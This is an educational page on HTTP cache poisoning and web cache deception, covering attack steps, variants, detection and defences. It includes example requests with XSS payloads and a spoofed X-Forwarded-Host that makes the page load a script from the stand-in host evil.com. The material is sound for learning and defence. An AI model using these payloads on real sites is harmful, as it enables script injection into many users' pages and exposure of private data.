HTTP Cache Poisoning
What is HTTP Cache Poisoning?
HTTP cache poisoning is a technique where an attacker manipulates a web cache to serve malicious content to users. By exploiting how caches handle HTTP headers and responses, attackers can inject harmful content that gets cached and served to subsequent visitors.
This attack is particularly dangerous because it can affect multiple users with a single malicious request, and the poisoned content can persist in the cache for extended periods.
Key Concept: Cache poisoning exploits the difference between what the cache considers as the cache key (used to identify cached content) and what actually influences the server's response.
How Cache Poisoning Works
The attack typically follows these steps:
1. Identify Unkeyed Inputs
Find HTTP headers or parameters that influence the server's response but are not included in the cache key. Common unkeyed inputs include:
- X-Forwarded-Host
- X-Forwarded-Proto
- X-Original-URL
- X-Rewrite-URL
- User-Agent (sometimes)
- Accept-Language (sometimes)
2. Craft Malicious Request
Create a request that uses unkeyed inputs to inject malicious content into the response:
GET /vulnerable-page HTTP/1.1
Host: victim.com
X-Forwarded-Host: evil.com
<!-- Server reflects X-Forwarded-Host in response -->
<script src="//evil.com/malicious.js"></script>
3. Cache the Poisoned Response
The cache stores the response using only the keyed inputs (typically the URL and Host header), but the response contains the malicious content influenced by unkeyed inputs.
4. Serve to Victims
Subsequent requests for the same resource receive the poisoned response from the cache, affecting all users until the cache expires.
Types of Cache Poisoning Attacks
Basic Cache Poisoning
Exploiting unkeyed headers that are reflected in the response:
GET /home HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: evil.com
<!-- Response includes -->
<link rel="canonical" href="//evil.com/home">
Cache Poisoning via HTTP Header Injection
Using header injection to manipulate cached responses:
GET /api/data HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Proto: https\r\nContent-Type: text/html\r\n\r\n<script>alert('XSS')</script>
Cache Poisoning with Parameter Pollution
Exploiting how different systems handle duplicate parameters:
GET /search?q=innocent&q=<script>alert('XSS')</script> HTTP/1.1
Host: vulnerable-website.com
<!-- Cache key: /search?q=innocent -->
<!-- Response includes both parameters -->
Cache Poisoning via Fat GET
Using GET requests with bodies (which some caches ignore but servers process):
GET /vulnerable-endpoint HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
callback=<script>alert(1)</script>
Web Cache Deception
A related attack where attackers trick caches into storing private content by manipulating URLs:
GET /user/profile/nonexistent.css HTTP/1.1
Host: vulnerable-website.com
<!-- Cache treats this as a static CSS file -->
<!-- Server returns user profile data -->
<!-- Cache stores private data as public -->
Warning: Cache poisoning attacks can persist for hours or days depending on cache TTL settings, potentially affecting thousands of users with a single malicious request.
Detection and Exploitation Techniques
Cache Key Discovery
Identify what constitutes the cache key by testing various headers and parameters:
- Send requests with different header values and observe cache behavior
- Use cache-busting parameters to test cache key composition
- Analyze cache headers like X-Cache, CF-Cache-Status, or Age
Unkeyed Input Identification
Find headers that influence responses but aren't part of the cache key:
# Test common unkeyed headers
X-Forwarded-Host: evil.com
X-Forwarded-Proto: https
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-HTTP-Method-Override: POST
Cache Buster Techniques
Use cache-busting parameters to ensure fresh responses during testing:
GET /target?cachebuster=12345 HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: evil.com
Automated Tools
Tools for cache poisoning detection:
- Param Miner (Burp Suite extension) - discovers unkeyed inputs
- Web Cache Vulnerability Scanner - automated cache poisoning detection
- Custom scripts for cache behavior analysis
Defense Strategies
Secure Cache Configuration
Configure caches to include security-relevant headers in cache keys:
- Include X-Forwarded-Host in cache key if used by the application
- Normalize header values before caching
- Set appropriate cache TTL values
- Use Vary headers to control cache key composition
Input Validation and Sanitization
Validate and sanitize all inputs that might be reflected in responses:
// Example: Validate X-Forwarded-Host
const allowedHosts = ['example.com', 'www.example.com'];
const forwardedHost = req.headers['x-forwarded-host'];
if (forwardedHost && !allowedHosts.includes(forwardedHost)) {
// Reject or sanitize the header
delete req.headers['x-forwarded-host'];
}
Disable Unnecessary Headers
Remove or ignore headers that aren't needed by your application:
- Strip X-Forwarded-* headers if not behind a trusted proxy
- Ignore X-Original-URL and X-Rewrite-URL if not used
- Validate User-Agent if it influences responses
Implement Cache-Control Headers
Use appropriate cache-control directives:
# For sensitive content
Cache-Control: no-cache, no-store, must-revalidate
# For public content with validation
Cache-Control: public, max-age=3600, must-revalidate
# Include Vary header for content that varies by header
Vary: Accept-Encoding, User-Agent
Content Security Policy
Implement CSP to mitigate the impact of successful cache poisoning:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123'; object-src 'none';
Regular Security Testing
Conduct regular testing for cache poisoning vulnerabilities:
- Test all endpoints that might be cached
- Verify cache key composition
- Test with various unkeyed headers
- Monitor cache behavior in production
Best Practice: Implement a defense-in-depth strategy combining secure cache configuration, input validation, and monitoring. Cache poisoning attacks can be subtle and persistent, requiring comprehensive protection.